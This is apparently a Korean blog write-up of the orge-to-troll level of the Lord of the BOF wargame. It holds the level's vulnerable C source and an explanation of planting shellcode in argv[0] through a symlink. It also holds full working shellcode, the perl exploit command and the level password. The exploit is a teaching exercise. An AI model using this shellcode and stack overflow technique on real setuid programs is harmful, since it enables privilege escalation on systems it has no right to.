[orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } |
이런 그동안 잘쓰던 argv[1] 영역을 쓸 수 없게 되어버렸네요
심지어 쟁여뒀던 argv[2]조차 쓸 수 없습니다 흠
근데 argv[0]은 쓸 수 있나보네요; 이 영역을 이용하도록 하죠 아까 썼던 심볼릭 링크를 이용해봅시다.
...그런데 안되네요 ㅡㅡ; 찾아보니 0x2f가 포함되어있다고 안된다네요.. 0x2f가 아스키로 슬러쉬(/)문자인데 이거때매 그런가보네요.
아무튼 0x2f가 없는 쉘코드로 제일 많이 쓰이는게
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81가 있네요 이걸 써보죠
[orge@localhost test]$ ln -s troll `perl -e 'print "\x90"x100, "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost test]$ ls -a;
.
..
troll
?????????????????????????????????????????????????????????????????????????????????????????????????????^12?l????u楕?凹2핽i00tii0cjo??T????
굿 생겼습니당
적절하게 b20 쯤으로 리턴하게 해주면 한번에 성공!
[orge@localhost orge]$ ./`perl -e 'print "\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "A"x44,"\x20\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAg
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin
사실 중간에 문제있어서 자꾸 재부팅했는데 ㅡㅡ; 암튼 심볼릭 링크로 푸는건 이제 앵간해선 좀..
'워게임 > lord of bof' 카테고리의 다른 글
level 9 -> 10 (0) | 2015.10.23 |
---|---|
level 8 -> 9 (0) | 2015.10.23 |
level 6 -> 7 (0) | 2015.10.23 |
level 5 -> 6 (0) | 2015.10.23 |
level 4 -> 5 (0) | 2015.10.23 |